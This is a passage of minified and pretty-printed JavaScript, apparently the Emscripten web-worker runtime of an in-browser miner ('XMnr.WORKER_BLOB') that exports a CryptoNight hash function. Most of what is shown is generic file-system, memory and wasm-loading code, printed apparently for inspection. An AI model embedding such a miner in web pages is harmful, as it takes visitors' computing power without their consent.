256*Math.random()|0};FS.createDevice(\"/dev\",\"random\",e),FS.createDevice(\"/dev\",\"urandom\",e),FS.mkdir(\"/dev/shm\"),FS.mkdir(\"/dev/shm/tmp\")},createSpecialDirectories:function(){FS.mkdir(\"/proc\"),FS.mkdir(\"/proc/self\"),FS.mkdir(\"/proc/self/fd\"),FS.mount({mount:function(){var e=FS.createNode(\"/proc/self\",\"fd\",16895,73);return e.node_ops={lookup:function(e,r){var t=+r,n=FS.getStream(t);if(!n)throw new FS.ErrnoError(ERRNO_CODES.EBADF);var o={parent:null,mount:{mountpoint:\"fake\"},node_ops:{readlink:function(){return n.path}}};return o.parent=o,o}},e}},{},\"/proc/self/fd\")},createStandardStreams:function(){Module.stdin?FS.createDevice(\"/dev\",\"stdin\",Module.stdin):FS.symlink(\"/dev/tty\",\"/dev/stdin\"),Module.stdout?FS.createDevice(\"/dev\",\"stdout\",null,Module.stdout):FS.symlink(\"/dev/tty\",\"/dev/stdout\"),Module.stderr?FS.createDevice(\"/dev\",\"stderr\",null,Module.stderr):FS.symlink(\"/dev/tty1\",\"/dev/stderr\");var e=FS.open(\"/dev/stdin\",\"r\");assert(0===e.fd,\"invalid handle for stdin (\"+e.fd+\")\");var r=FS.open(\"/dev/stdout\",\"w\");assert(1===r.fd,\"invalid handle for stdout (\"+r.fd+\")\");var t=FS.open(\"/dev/stderr\",\"w\");assert(2===t.fd,\"invalid handle for stderr (\"+t.fd+\")\")},ensureErrnoError:function(){FS.ErrnoError||(FS.ErrnoError=function(e,r){this.node=r,this.setErrno=function(e){this.errno=e;for(var r in ERRNO_CODES)if(ERRNO_CODES[r]===e){this.code=r;break}},this.setErrno(e),this.message=ERRNO_MESSAGES[e]},FS.ErrnoError.prototype=new Error,FS.ErrnoError.prototype.constructor=FS.ErrnoError,[ERRNO_CODES.ENOENT].forEach(function(e){FS.genericErrors[e]=new FS.ErrnoError(e),FS.genericErrors[e].stack=\"<generic error, no stack>\"}))},staticInit:function(){FS.ensureErrnoError(),FS.nameTable=new Array(4096),FS.mount(MEMFS,{},\"/\"),FS.createDefaultDirectories(),FS.createDefaultDevices(),FS.createSpecialDirectories(),FS.filesystems={MEMFS:MEMFS,IDBFS:IDBFS,NODEFS:NODEFS,WORKERFS:WORKERFS}},init:function(e,r,t){assert(!FS.init.initialized,\"FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)\"),FS.init.initialized=!0,FS.ensureErrnoError(),Module.stdin=e||Module.stdin,Module.stdout=r||Module.stdout,Module.stderr=t||Module.stderr,FS.createStandardStreams()},quit:function(){FS.init.initialized=!1;var e=Module._fflush;e&&e(0);for(var r=0;r<FS.streams.length;r++){var t=FS.streams[r];t&&FS.close(t)}},getMode:function(e,r){var t=0;return e&&(t|=365),r&&(t|=146),t},joinPath:function(e,r){var t=PATH.join.apply(null,e);return r&&\"/\"==t[0]&&(t=t.substr(1)),t},absolutePath:function(e,r){return PATH.resolve(r,e)},standardizePath:function(e){return PATH.normalize(e)},findObject:function(e,r){var t=FS.analyzePath(e,r);return t.exists?t.object:(___setErrNo(t.error),null)},analyzePath:function(e,r){try{e=(n=FS.lookupPath(e,{follow:!r})).path}catch(e){}var t={isRoot:!1,exists:!1,error:0,name:null,path:null,object:null,parentExists:!1,parentPath:null,parentObject:null};try{var n=FS.lookupPath(e,{parent:!0});t.parentExists=!0,t.parentPath=n.path,t.parentObject=n.node,t.name=PATH.basename(e),n=FS.lookupPath(e,{follow:!r}),t.exists=!0,t.path=n.path,t.object=n.node,t.name=n.node.name,t.isRoot=\"/\"===n.path}catch(e){t.error=e.errno}return t},createFolder:function(e,r,t,n){var o=PATH.join2(\"string\"==typeof e?e:FS.getPath(e),r),i=FS.getMode(t,n);return FS.mkdir(o,i)},createPath:function(e,r,t,n){e=\"string\"==typeof e?e:FS.getPath(e);for(var o=r.split(\"/\").reverse();o.length;){var i=o.pop();if(i){var a=PATH.join2(e,i);try{FS.mkdir(a)}catch(e){}e=a}}return a},createFile:function(e,r,t,n,o){var i=PATH.join2(\"string\"==typeof e?e:FS.getPath(e),r),a=FS.getMode(n,o);return FS.create(i,a)},createDataFile:function(e,r,t,n,o,i){var a=r?PATH.join2(\"string\"==typeof e?e:FS.getPath(e),r):e,s=FS.getMode(n,o),u=FS.create(a,s);if(t){if(\"string\"==typeof t){for(var l=new Array(t.length),c=0,d=t.length;c<d;++c)l[c]=t.charCodeAt(c);t=l}FS.chmod(u,146|s);var E=FS.open(u,\"w\");FS.write(E,t,0,t.length,0,i),FS.close(E),FS.chmod(u,s)}return u},createDevice:function(e,r,t,n){var o=PATH.join2(\"string\"==typeof e?e:FS.getPath(e),r),i=FS.getMode(!!t,!!n);FS.createDevice.major||(FS.createDevice.major=64);var a=FS.makedev(FS.createDevice.major++,0);return FS.registerDevice(a,{open:function(e){e.seekable=!1},close:function(e){n&&n.buffer&&n.buffer.length&&n(10)},read:function(e,r,n,o,i){for(var a=0,s=0;s<o;s++){var u;try{u=t()}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}if(void 0===u&&0===a)throw new FS.ErrnoError(ERRNO_CODES.EAGAIN);if(null===u||void 0===u)break;a++,r[n+s]=u}return a&&(e.node.timestamp=Date.now()),a},write:function(e,r,t,o,i){for(var a=0;a<o;a++)try{n(r[t+a])}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}return o&&(e.node.timestamp=Date.now()),a}}),FS.mkdev(o,i,a)},createLink:function(e,r,t,n,o){var i=PATH.join2(\"string\"==typeof e?e:FS.getPath(e),r);return FS.symlink(t,i)},forceLoadFile:function(e){if(e.isDevice||e.isFolder||e.link||e.contents)return!0;var r=!0;if(\"undefined\"!=typeof XMLHttpRequest)throw new Error(\"Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.\");if(!Module.read)throw new Error(\"Cannot load without read() or XMLHttpRequest.\");try{e.contents=intArrayFromString(Module.read(e.url),!0),e.usedBytes=e.contents.length}catch(e){r=!1}return r||___setErrNo(ERRNO_CODES.EIO),r},createLazyFile:function(e,r,t,n,o){function i(){this.lengthKnown=!1,this.chunks=[]}if(i.prototype.get=function(e){if(!(e>this.length-1||e<0)){var r=e%this.chunkSize,t=e/this.chunkSize|0;return this.getter(t)[r]}},i.prototype.setDataGetter=function(e){this.getter=e},i.prototype.cacheLength=function(){var e=new XMLHttpRequest;if(e.open(\"HEAD\",t,!1),e.send(null),!(e.status>=200&&e.status<300||304===e.status))throw new Error(\"Couldn't load \"+t+\". Status: \"+e.status);var r,n=Number(e.getResponseHeader(\"Content-length\")),o=(r=e.getResponseHeader(\"Accept-Ranges\"))&&\"bytes\"===r,i=(r=e.getResponseHeader(\"Content-Encoding\"))&&\"gzip\"===r,a=1048576;o||(a=n);var s=this;s.setDataGetter(function(e){var r=e*a,o=(e+1)*a-1;if(o=Math.min(o,n-1),void 0===s.chunks[e]&&(s.chunks[e]=function(e,r){if(e>r)throw new Error(\"invalid range (\"+e+\", \"+r+\") or no bytes requested!\");if(r>n-1)throw new Error(\"only \"+n+\" bytes available! programmer error!\");var o=new XMLHttpRequest;if(o.open(\"GET\",t,!1),n!==a&&o.setRequestHeader(\"Range\",\"bytes=\"+e+\"-\"+r),\"undefined\"!=typeof Uint8Array&&(o.responseType=\"arraybuffer\"),o.overrideMimeType&&o.overrideMimeType(\"text/plain; charset=x-user-defined\"),o.send(null),!(o.status>=200&&o.status<300||304===o.status))throw new Error(\"Couldn't load \"+t+\". Status: \"+o.status);return void 0!==o.response?new Uint8Array(o.response||[]):intArrayFromString(o.responseText||\"\",!0)}(r,o)),void 0===s.chunks[e])throw new Error(\"doXHR failed!\");return s.chunks[e]}),!i&&n||(a=n=1,n=this.getter(0).length,a=n,console.log(\"LazyFiles on gzip forces download of the whole file when length is accessed\")),this._length=n,this._chunkSize=a,this.lengthKnown=!0},\"undefined\"!=typeof XMLHttpRequest){if(!ENVIRONMENT_IS_WORKER)throw\"Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc\";var a=new i;Object.defineProperties(a,{length:{get:function(){return this.lengthKnown||this.cacheLength(),this._length}},chunkSize:{get:function(){return this.lengthKnown||this.cacheLength(),this._chunkSize}}});var s={isDevice:!1,contents:a}}else s={isDevice:!1,url:t};var u=FS.createFile(e,r,s,n,o);s.contents?u.contents=s.contents:s.url&&(u.contents=null,u.url=s.url),Object.defineProperties(u,{usedBytes:{get:function(){return this.contents.length}}});var l={};return Object.keys(u.stream_ops).forEach(function(e){var r=u.stream_ops[e];l[e]=function(){if(!FS.forceLoadFile(u))throw new FS.ErrnoError(ERRNO_CODES.EIO);return r.apply(null,arguments)}}),l.read=function(e,r,t,n,o){if(!FS.forceLoadFile(u))throw new FS.ErrnoError(ERRNO_CODES.EIO);var i=e.node.contents;if(o>=i.length)return 0;var a=Math.min(i.length-o,n);if(assert(a>=0),i.slice)for(var s=0;s<a;s++)r[t+s]=i[o+s];else for(s=0;s<a;s++)r[t+s]=i.get(o+s);return a},u.stream_ops=l,u},createPreloadedFile:function(e,r,t,n,o,i,a,s,u,l){function c(t){function c(t){l&&l(),s||FS.createDataFile(e,r,t,n,o,u),i&&i(),removeRunDependency(E)}var f=!1;Module.preloadPlugins.forEach(function(e){f||e.canHandle(d)&&(e.handle(t,d,c,function(){a&&a(),removeRunDependency(E)}),f=!0)}),f||c(t)}Browser.init();var d=r?PATH.resolve(PATH.join2(e,r)):e,E=getUniqueRunDependency(\"cp \"+d);addRunDependency(E),\"string\"==typeof t?Browser.asyncLoad(t,function(e){c(e)},a):c(t)},indexedDB:function(){return window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB},DB_NAME:function(){return\"EM_FS_\"+window.location.pathname},DB_VERSION:20,DB_STORE_NAME:\"FILE_DATA\",saveFilesToDB:function(e,r,t){r=r||function(){},t=t||function(){};var n=FS.indexedDB();try{var o=n.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return t(e)}o.onupgradeneeded=function(){console.log(\"creating db\");o.result.createObjectStore(FS.DB_STORE_NAME)},o.onsuccess=function(){function n(){0==u?r():t()}var i=o.result.transaction([FS.DB_STORE_NAME],\"readwrite\"),a=i.objectStore(FS.DB_STORE_NAME),s=0,u=0,l=e.length;e.forEach(function(e){var r=a.put(FS.analyzePath(e).object.contents,e);r.onsuccess=function(){++s+u==l&&n()},r.onerror=function(){s+ ++u==l&&n()}}),i.onerror=t},o.onerror=t},loadFilesFromDB:function(e,r,t){r=r||function(){},t=t||function(){};var n=FS.indexedDB();try{var o=n.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return t(e)}o.onupgradeneeded=t,o.onsuccess=function(){function n(){0==l?r():t()}var i=o.result;try{var a=i.transaction([FS.DB_STORE_NAME],\"readonly\")}catch(e){return void t(e)}var s=a.objectStore(FS.DB_STORE_NAME),u=0,l=0,c=e.length;e.forEach(function(e){var r=s.get(e);r.onsuccess=function(){FS.analyzePath(e).exists&&FS.unlink(e),FS.createDataFile(PATH.dirname(e),PATH.basename(e),r.result,!0,!0,!0),++u+l==c&&n()},r.onerror=function(){u+ ++l==c&&n()}}),a.onerror=t},o.onerror=t}},SYSCALLS={DEFAULT_POLLMASK:5,mappings:{},umask:511,calculateAt:function(e,r){if(\"/\"!==r[0]){var t;if(-100===e)t=FS.cwd();else{var n=FS.getStream(e);if(!n)throw new FS.ErrnoError(ERRNO_CODES.EBADF);t=n.path}r=PATH.join2(t,r)}return r},doStat:function(e,r,t){try{var n=e(r)}catch(e){if(e&&e.node&&PATH.normalize(r)!==PATH.normalize(FS.getPath(e.node)))return-ERRNO_CODES.ENOTDIR;throw e}return HEAP32[t>>2]=n.dev,HEAP32[t+4>>2]=0,HEAP32[t+8>>2]=n.ino,HEAP32[t+12>>2]=n.mode,HEAP32[t+16>>2]=n.nlink,HEAP32[t+20>>2]=n.uid,HEAP32[t+24>>2]=n.gid,HEAP32[t+28>>2]=n.rdev,HEAP32[t+32>>2]=0,HEAP32[t+36>>2]=n.size,HEAP32[t+40>>2]=4096,HEAP32[t+44>>2]=n.blocks,HEAP32[t+48>>2]=n.atime.getTime()/1e3|0,HEAP32[t+52>>2]=0,HEAP32[t+56>>2]=n.mtime.getTime()/1e3|0,HEAP32[t+60>>2]=0,HEAP32[t+64>>2]=n.ctime.getTime()/1e3|0,HEAP32[t+68>>2]=0,HEAP32[t+72>>2]=n.ino,0},doMsync:function(e,r,t,n){var o=new Uint8Array(HEAPU8.subarray(e,e+t));FS.msync(r,o,0,t,n)},doMkdir:function(e,r){return\"/\"===(e=PATH.normalize(e))[e.length-1]&&(e=e.substr(0,e.length-1)),FS.mkdir(e,r,0),0},doMknod:function(e,r,t){switch(61440&r){case 32768:case 8192:case 24576:case 4096:case 49152:break;default:return-ERRNO_CODES.EINVAL}return FS.mknod(e,r,t),0},doReadlink:function(e,r,t){if(t<=0)return-ERRNO_CODES.EINVAL;var n=FS.readlink(e),o=Math.min(t,lengthBytesUTF8(n)),i=HEAP8[r+o];return stringToUTF8(n,r,t+1),HEAP8[r+o]=i,o},doAccess:function(e,r){if(-8&r)return-ERRNO_CODES.EINVAL;var t;t=FS.lookupPath(e,{follow:!0}).node;var n=\"\";return 4&r&&(n+=\"r\"),2&r&&(n+=\"w\"),1&r&&(n+=\"x\"),n&&FS.nodePermissions(t,n)?-ERRNO_CODES.EACCES:0},doDup:function(e,r,t){var n=FS.getStream(t);return n&&FS.close(n),FS.open(e,r,0,t,t).fd},doReadv:function(e,r,t,n){for(var o=0,i=0;i<t;i++){var a=HEAP32[r+8*i>>2],s=HEAP32[r+(8*i+4)>>2],u=FS.read(e,HEAP8,a,s,n);if(u<0)return-1;if(o+=u,u<s)break}return o},doWritev:function(e,r,t,n){for(var o=0,i=0;i<t;i++){var a=HEAP32[r+8*i>>2],s=HEAP32[r+(8*i+4)>>2],u=FS.write(e,HEAP8,a,s,n);if(u<0)return-1;o+=u}return o},varargs:0,get:function(e){SYSCALLS.varargs+=4;return HEAP32[SYSCALLS.varargs-4>>2]},getStr:function(){return Pointer_stringify(SYSCALLS.get())},getStreamFromFD:function(){var e=FS.getStream(SYSCALLS.get());if(!e)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return e},getSocketFromFD:function(){var e=SOCKFS.getSocket(SYSCALLS.get());if(!e)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return e},getSocketAddress:function(e){var r=SYSCALLS.get(),t=SYSCALLS.get();if(e&&0===r)return null;var n=__read_sockaddr(r,t);if(n.errno)throw new FS.ErrnoError(n.errno);return n.addr=DNS.lookup_addr(n.addr)||n.addr,n},get64:function(){var e=SYSCALLS.get(),r=SYSCALLS.get();return assert(e>=0?0===r:-1===r),e},getZero:function(){assert(0===SYSCALLS.get())}},___tm_current=STATICTOP;STATICTOP+=48;var ___tm_timezone=allocate(intArrayFromString(\"GMT\"),\"i8\",ALLOC_STATIC);FS.staticInit(),__ATINIT__.unshift(function(){Module.noFSInit||FS.init.initialized||FS.init()}),__ATMAIN__.push(function(){FS.ignorePermissions=!1}),__ATEXIT__.push(function(){FS.quit()}),Module.FS_createFolder=FS.createFolder,Module.FS_createPath=FS.createPath,Module.FS_createDataFile=FS.createDataFile,Module.FS_createPreloadedFile=FS.createPreloadedFile,Module.FS_createLazyFile=FS.createLazyFile,Module.FS_createLink=FS.createLink,Module.FS_createDevice=FS.createDevice,Module.FS_unlink=FS.unlink,__ATINIT__.unshift(function(){TTY.init()}),__ATEXIT__.push(function(){TTY.shutdown()}),DYNAMICTOP_PTR=allocate(1,\"i32\",ALLOC_STATIC),STACK_BASE=STACKTOP=Runtime.alignMemory(STATICTOP),STACK_MAX=STACK_BASE+TOTAL_STACK,DYNAMIC_BASE=Runtime.alignMemory(STACK_MAX),HEAP32[DYNAMICTOP_PTR>>2]=DYNAMIC_BASE,staticSealed=!0,Module.wasmTableSize=14,Module.wasmMaxTableSize=14,Module.asmGlobalArg={Math:Math,Int8Array:Int8Array,Int16Array:Int16Array,Int32Array:Int32Array,Uint8Array:Uint8Array,Uint16Array:Uint16Array,Uint32Array:Uint32Array,Float32Array:Float32Array,Float64Array:Float64Array,NaN:NaN,Infinity:1/0},Module.asmLibraryArg={abort:abort,assert:assert,enlargeMemory:enlargeMemory,getTotalMemory:getTotalMemory,abortOnCannotGrowMemory:abortOnCannotGrowMemory,invoke_ii:invoke_ii,invoke_iiii:invoke_iiii,invoke_viii:invoke_viii,_gmtime_r:_gmtime_r,_gmtime:_gmtime,___lock:___lock,___syscall6:___syscall6,___setErrNo:___setErrNo,___unlock:___unlock,_ftime:_ftime,_emscripten_memcpy_big:_emscripten_memcpy_big,___syscall54:___syscall54,___syscall140:___syscall140,___syscall20:___syscall20,___assert_fail:___assert_fail,___syscall146:___syscall146,DYNAMICTOP_PTR:DYNAMICTOP_PTR,tempDoublePtr:tempDoublePtr,STACK_MAX:STACK_MAX,STACKTOP:STACKTOP,ABORT:ABORT};var asm=Module.asm(Module.asmGlobalArg,Module.asmLibraryArg,buffer);Module.asm=asm;var _cryptonight_hash=Module._cryptonight_hash=function(){return Module.asm._cryptonight_hash.apply(null,arguments)},getTempRet0=Module.getTempRet0=function(){return Module.asm.getTempRet0.apply(null,arguments)},_free=Module._free=function(){return Module.asm._free.apply(null,arguments)},runPostSets=Module.runPostSets=function(){return Module.asm.runPostSets.apply(null,arguments)},setTempRet0=Module.setTempRet0=function(){return Module.asm.setTempRet0.apply(null,arguments)},establishStackSpace=Module.establishStackSpace=function(){return Module.asm.establishStackSpace.apply(null,arguments)},_memmove=Module._memmove=function(){return Module.asm._memmove.apply(null,arguments)},stackSave=Module.stackSave=function(){return Module.asm.stackSave.apply(null,arguments)},_memset=Module._memset=function(){return Module.asm._memset.apply(null,arguments)},_malloc=Module._malloc=function(){return Module.asm._malloc.apply(null,arguments)};"]));
////////////////////////////////////
// pretty print of XMnr.WORKER_BLOB
////////////////////////////////////
function globalEval(e) {
eval.call(null, e)
}
function assert(e, r) {
e || abort("Assertion failed: " + r)
}
function getCFunc(ident) {
var func = Module["_" + ident];
if (!func) try {
func = eval("_" + ident)
} catch (e) {}
return assert(func, "Cannot call unknown function " + ident + " (perhaps LLVM optimizations or closure removed it?)"), func
}
function setValue(e, r, t, n) {
switch ("*" === (t = t || "i8").charAt(t.length - 1) && (t = "i32"), t) {
case "i1":
case "i8":
HEAP8[e >> 0] = r;
break;
case "i16":
HEAP16[e >> 1] = r;
break;
case "i32":
HEAP32[e >> 2] = r;
break;
case "i64":
tempI64 = [r >>> 0, (tempDouble = r, +Math_abs(tempDouble) >= 1 ? tempDouble > 0 ? (0 | Math_min(+Math_floor(tempDouble / 4294967296), 4294967295)) >>> 0 : ~~+Math_ceil((tempDouble - +(~~tempDouble >>> 0)) / 4294967296) >>> 0 : 0)], HEAP32[e >> 2] = tempI64[0], HEAP32[e + 4 >> 2] = tempI64[1];
break;
case "float":
HEAPF32[e >> 2] = r;
break;
case "double":
HEAPF64[e >> 3] = r;
break;
default:
abort("invalid type for setValue: " + t)
}
}
function getValue(e, r, t) {
switch ("*" === (r = r || "i8").charAt(r.length - 1) && (r = "i32"), r) {
case "i1":
case "i8":
return HEAP8[e >> 0];
case "i16":
return HEAP16[e >> 1];
case "i32":
case "i64":
return HEAP32[e >> 2];
case "float":
return HEAPF32[e >> 2];
case "double":
return HEAPF64[e >> 3];
default:
abort("invalid type for setValue: " + r)
}
return null
}
function allocate(e, r, t, n) {
var o, i;
"number" == typeof e ? (o = !0, i = e) : (o = !1, i = e.length);
var a, s = "string" == typeof r ? r : null;
if (a = t == ALLOC_NONE ? n : ["function" == typeof _malloc ? _malloc : Runtime.staticAlloc, Runtime.stackAlloc, Runtime.staticAlloc, Runtime.dynamicAlloc][void 0 === t ? ALLOC_STATIC : t](Math.max(i, s ? 1 : r.length)), o) {
var u;
n = a;
for (assert(0 == (3 & a)), u = a + (-4 & i); n < u; n += 4) HEAP32[n >> 2] = 0;
for (u = a + i; n < u;) HEAP8[n++ >> 0] = 0;
return a
}
if ("i8" === s) return e.subarray || e.slice ? HEAPU8.set(e, a) : HEAPU8.set(new Uint8Array(e), a), a;
for (var l, c, d, E = 0; E < i;) {
var f = e[E];
"function" == typeof f && (f = Runtime.getFunctionIndex(f)), 0 !== (l = s || r[E]) ? ("i64" == l && (l = "i32"), setValue(a + E, f, l), d !== l && (c = Runtime.getNativeTypeSize(l), d = l), E += c) : E++
}
return a
}
function getMemory(e) {
return staticSealed ? runtimeInitialized ? _malloc(e) : Runtime.dynamicAlloc(e) : Runtime.staticAlloc(e)
}
function Pointer_stringify(e, r) {
if (0 === r || !e) return "";
for (var t, n = 0, o = 0; t = HEAPU8[e + o >> 0], n |= t, (0 != t || r) && (o++, !r || o != r););
r || (r = o);
var i = "";
if (n < 128) {
for (var a; r > 0;) a = String.fromCharCode.apply(String, HEAPU8.subarray(e, e + Math.min(r, 1024))), i = i ? i + a : a, e += 1024, r -= 1024;
return i
}
return Module.UTF8ToString(e)
}
function AsciiToString(e) {
for (var r = "";;) {
var t = HEAP8[e++ >> 0];
if (!t) return r;
r += String.fromCharCode(t)
}
}
function stringToAscii(e, r) {
return writeAsciiToMemory(e, r, !1)
}
function UTF8ArrayToString(e, r) {
for (var t = r; e[t];) ++t;
if (t - r > 16 && e.subarray && UTF8Decoder) return UTF8Decoder.decode(e.subarray(r, t));
for (var n, o, i, a, s, u = "";;) {
if (!(n = e[r++])) return u;
if (128 & n)
if (o = 63 & e[r++], 192 != (224 & n))
if (i = 63 & e[r++], 224 == (240 & n) ? n = (15 & n) << 12 | o << 6 | i : (a = 63 & e[r++], 240 == (248 & n) ? n = (7 & n) << 18 | o << 12 | i << 6 | a : (s = 63 & e[r++], n = 248 == (252 & n) ? (3 & n) << 24 | o << 18 | i << 12 | a << 6 | s : (1 & n) << 30 | o << 24 | i << 18 | a << 12 | s << 6 | 63 & e[r++])), n < 65536) u += String.fromCharCode(n);
else {
var l = n - 65536;
u += String.fromCharCode(55296 | l >> 10, 56320 | 1023 & l)
}
else u += String.fromCharCode((31 & n) << 6 | o);
else u += String.fromCharCode(n)
}
}
function UTF8ToString(e) {
return UTF8ArrayToString(HEAPU8, e)
}
function stringToUTF8Array(e, r, t, n) {
if (!(n > 0)) return 0;
for (var o = t, i = t + n - 1, a = 0; a < e.length; ++a) {
var s = e.charCodeAt(a);
if (s >= 55296 && s <= 57343 && (s = 65536 + ((1023 & s) << 10) | 1023 & e.charCodeAt(++a)), s <= 127) {
if (t >= i) break;
r[t++] = s
} else if (s <= 2047) {
if (t + 1 >= i) break;
r[t++] = 192 | s >> 6, r[t++] = 128 | 63 & s
} else if (s <= 65535) {
if (t + 2 >= i) break;
r[t++] = 224 | s >> 12, r[t++] = 128 | s >> 6 & 63, r[t++] = 128 | 63 & s
} else if (s <= 2097151) {
if (t + 3 >= i) break;
r[t++] = 240 | s >> 18, r[t++] = 128 | s >> 12 & 63, r[t++] = 128 | s >> 6 & 63, r[t++] = 128 | 63 & s
} else if (s <= 67108863) {
if (t + 4 >= i) break;
r[t++] = 248 | s >> 24, r[t++] = 128 | s >> 18 & 63, r[t++] = 128 | s >> 12 & 63, r[t++] = 128 | s >> 6 & 63, r[t++] = 128 | 63 & s
} else {
if (t + 5 >= i) break;
r[t++] = 252 | s >> 30, r[t++] = 128 | s >> 24 & 63, r[t++] = 128 | s >> 18 & 63, r[t++] = 128 | s >> 12 & 63, r[t++] = 128 | s >> 6 & 63, r[t++] = 128 | 63 & s
}
}
return r[t] = 0, t - o
}
function stringToUTF8(e, r, t) {
return stringToUTF8Array(e, HEAPU8, r, t)
}
function lengthBytesUTF8(e) {
for (var r = 0, t = 0; t < e.length; ++t) {
var n = e.charCodeAt(t);
n >= 55296 && n <= 57343 && (n = 65536 + ((1023 & n) << 10) | 1023 & e.charCodeAt(++t)), n <= 127 ? ++r : r += n <= 2047 ? 2 : n <= 65535 ? 3 : n <= 2097151 ? 4 : n <= 67108863 ? 5 : 6
}
return r
}
function demangle(e) {
var r = Module.___cxa_demangle || Module.__cxa_demangle;
if (r) {
try {
var t = e.substr(1),
n = lengthBytesUTF8(t) + 1,
o = _malloc(n);
stringToUTF8(t, o, n);
var i = _malloc(4),
a = r(o, 0, 0, i);
if (0 === getValue(i, "i32") && a) return Pointer_stringify(a)
} catch (e) {} finally {
o && _free(o), i && _free(i), a && _free(a)
}
return e
}
return Runtime.warnOnce("warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling"), e
}
function demangleAll(e) {
return e.replace(/__Z[\\w\\d_]+/g, function(e) {
var r = demangle(e);
return e === r ? e : e + " [" + r + "]"
})
}
function jsStackTrace() {
var e = new Error;
if (!e.stack) {
try {
throw new Error(0)
} catch (r) {
e = r
}
if (!e.stack) return "(no stack trace available)"
}
return e.stack.toString()
}
function stackTrace() {
var e = jsStackTrace();
return Module.extraStackTrace && (e += "\\\\n" + Module.extraStackTrace()), demangleAll(e)
}
function alignUp(e, r) {
return e % r > 0 && (e += r - e % r), e
}
function updateGlobalBuffer(e) {
Module.buffer = buffer = e
}
function updateGlobalBufferViews() {
Module.HEAP8 = HEAP8 = new Int8Array(buffer), Module.HEAP16 = HEAP16 = new Int16Array(buffer), Module.HEAP32 = HEAP32 = new Int32Array(buffer), Module.HEAPU8 = HEAPU8 = new Uint8Array(buffer), Module.HEAPU16 = HEAPU16 = new Uint16Array(buffer), Module.HEAPU32 = HEAPU32 = new Uint32Array(buffer), Module.HEAPF32 = HEAPF32 = new Float32Array(buffer), Module.HEAPF64 = HEAPF64 = new Float64Array(buffer)
}
function abortOnCannotGrowMemory() {
abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value " + TOTAL_MEMORY + ", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")
}
function enlargeMemory() {
abortOnCannotGrowMemory()
}
function getTotalMemory() {
return TOTAL_MEMORY
}
function callRuntimeCallbacks(e) {
for (; e.length > 0;) {
var r = e.shift();
if ("function" != typeof r) {
var t = r.func;
"number" == typeof t ? void 0 === r.arg ? Module.dynCall_v(t) : Module.dynCall_vi(t, r.arg) : t(void 0 === r.arg ? null : r.arg)
} else r()
}
}
function preRun() {
if (Module.preRun)
for ("function" == typeof Module.preRun && (Module.preRun = [Module.preRun]); Module.preRun.length;) addOnPreRun(Module.preRun.shift());
callRuntimeCallbacks(__ATPRERUN__)
}
function ensureInitRuntime() {
runtimeInitialized || (runtimeInitialized = !0, callRuntimeCallbacks(__ATINIT__))
}
function preMain() {
callRuntimeCallbacks(__ATMAIN__)
}
function exitRuntime() {
callRuntimeCallbacks(__ATEXIT__), runtimeExited = !0
}
function postRun() {
if (Module.postRun)
for ("function" == typeof Module.postRun && (Module.postRun = [Module.postRun]); Module.postRun.length;) addOnPostRun(Module.postRun.shift());
callRuntimeCallbacks(__ATPOSTRUN__)
}
function addOnPreRun(e) {
__ATPRERUN__.unshift(e)
}
function addOnInit(e) {
__ATINIT__.unshift(e)
}
function addOnPreMain(e) {
__ATMAIN__.unshift(e)
}
function addOnExit(e) {
__ATEXIT__.unshift(e)
}
function addOnPostRun(e) {
__ATPOSTRUN__.unshift(e)
}
function intArrayFromString(e, r, t) {
var n = t > 0 ? t : lengthBytesUTF8(e) + 1,
o = new Array(n),
i = stringToUTF8Array(e, o, 0, o.length);
return r && (o.length = i), o
}
function intArrayToString(e) {
for (var r = [], t = 0; t < e.length; t++) {
var n = e[t];
n > 255 && (n &= 255), r.push(String.fromCharCode(n))
}
return r.join("")
}
function writeStringToMemory(e, r, t) {
Runtime.warnOnce("writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!");
var n, o;
t && (o = r + lengthBytesUTF8(e), n = HEAP8[o]), stringToUTF8(e, r, 1 / 0), t && (HEAP8[o] = n)
}
function writeArrayToMemory(e, r) {
HEAP8.set(e, r)
}
function writeAsciiToMemory(e, r, t) {
for (var n = 0; n < e.length; ++n) HEAP8[r++ >> 0] = e.charCodeAt(n);
t || (HEAP8[r >> 0] = 0)
}
function getUniqueRunDependency(e) {
return e
}
function addRunDependency(e) {
runDependencies++, Module.monitorRunDependencies && Module.monitorRunDependencies(runDependencies)
}
function removeRunDependency(e) {
if (runDependencies--, Module.monitorRunDependencies && Module.monitorRunDependencies(runDependencies), 0 == runDependencies && (null !== runDependencyWatcher && (clearInterval(runDependencyWatcher), runDependencyWatcher = null), dependenciesFulfilled)) {
var r = dependenciesFulfilled;
dependenciesFulfilled = null, r()
}
}
function integrateWasmJS(e) {
function r(e) {
return e
}
function t() {
return e.wasmBinary || "function" != typeof fetch ? new Promise(function(r, t) {
r(function() {
try {
var r;
if (e.wasmBinary) r = e.wasmBinary, r = new Uint8Array(r);
else {
if (!e.readBinary) throw "on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)";
r = e.readBinary(a)
}
return r
} catch (e) {
abort(e)
}
}())
}) : fetch(a, {
credentials: "same-origin"
}).then(function(e) {
if (!e.ok) throw "failed to load wasm binary file at '" + a + "'";
return e.arrayBuffer()
})
}
function n(r, n, o) {
function i(r) {
(l = r.exports).memory && function(r) {
var t = e.buffer;
r.byteLength < t.byteLength && e.printErr("the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here");
var n = new Int8Array(t),
o = new Int8Array(r);
